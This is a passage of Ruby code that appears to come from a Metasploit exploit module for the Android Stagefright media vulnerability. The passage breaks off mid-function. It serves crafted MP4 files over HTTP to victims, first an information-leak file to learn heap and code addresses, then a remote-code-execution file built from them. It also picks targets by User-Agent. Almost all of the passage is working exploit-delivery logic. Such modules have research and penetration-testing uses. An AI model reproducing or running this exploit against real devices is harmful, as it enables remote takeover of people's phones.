peer[:vector_vtable_addr] = sfv_addr if sfv_addr > 0
# reset after a crash..
if sia_addr == 0 && sfv_addr == 0
peer[:near_sampiter_addr] = peer[:vector_vtable_addr] = nil
end
# Always use this header
out_hdrs = {'Content-Type'=>'video/mp4'}
if peer[:vector_vtable_addr].nil?
# Generate the nasty MP4 to leak infoz
mode = "infoleak"
mp4 = get_mp4_leak(my_target, peer)
else
mode = "RCE"
mp4 = get_mp4_rce(my_target, peer)
if mp4.nil?
send_not_found(cli)
print_error("#{cli.peerhost}:#{cli.peerport} - Requested #{request.uri} - Failed to generate RCE MP4")
return
end
end
# Send the nasty MP4 file to trigger the vulnerability
if request.headers['Accept-Encoding'] and request.headers['Accept-Encoding'].include? 'gzip'
mp4 = Rex::Text.gzip(mp4)
out_hdrs.merge!('Content-Encoding' => 'gzip')
gzip = "gzip'd"
else
gzip = "raw"
end
client = "Browser"
if request.headers['User-Agent'].include? 'stagefright'
client = "SF"
end
addrs = "heap: 0x%x, code: 0x%x" % [ peer[:near_sampiter_addr].to_i, peer[:vector_vtable_addr].to_i ]
print_status("Sending #{mode} #{gzip} MPEG4 (#{mp4.length} bytes) to #{cli.peerhost}:#{cli.peerport}... (#{addrs} from #{client})")
# Send the nastiness!
send_response(cli, mp4, out_hdrs)
return
end
# Initialize a target. If none suitable, then we don't continue.
my_target = target
if my_target.name =~ /Automatic/
my_target = get_target(request)
if my_target.nil?
send_not_found(cli)
print_error("#{cli.peerhost}:#{cli.peerport} - Requested #{request.uri} - Unknown user-agent: #{request['User-Agent'].inspect}")
return
end
vprint_status("Target selected: #{my_target.name}")
end
# Generate an MP4 filename for this peer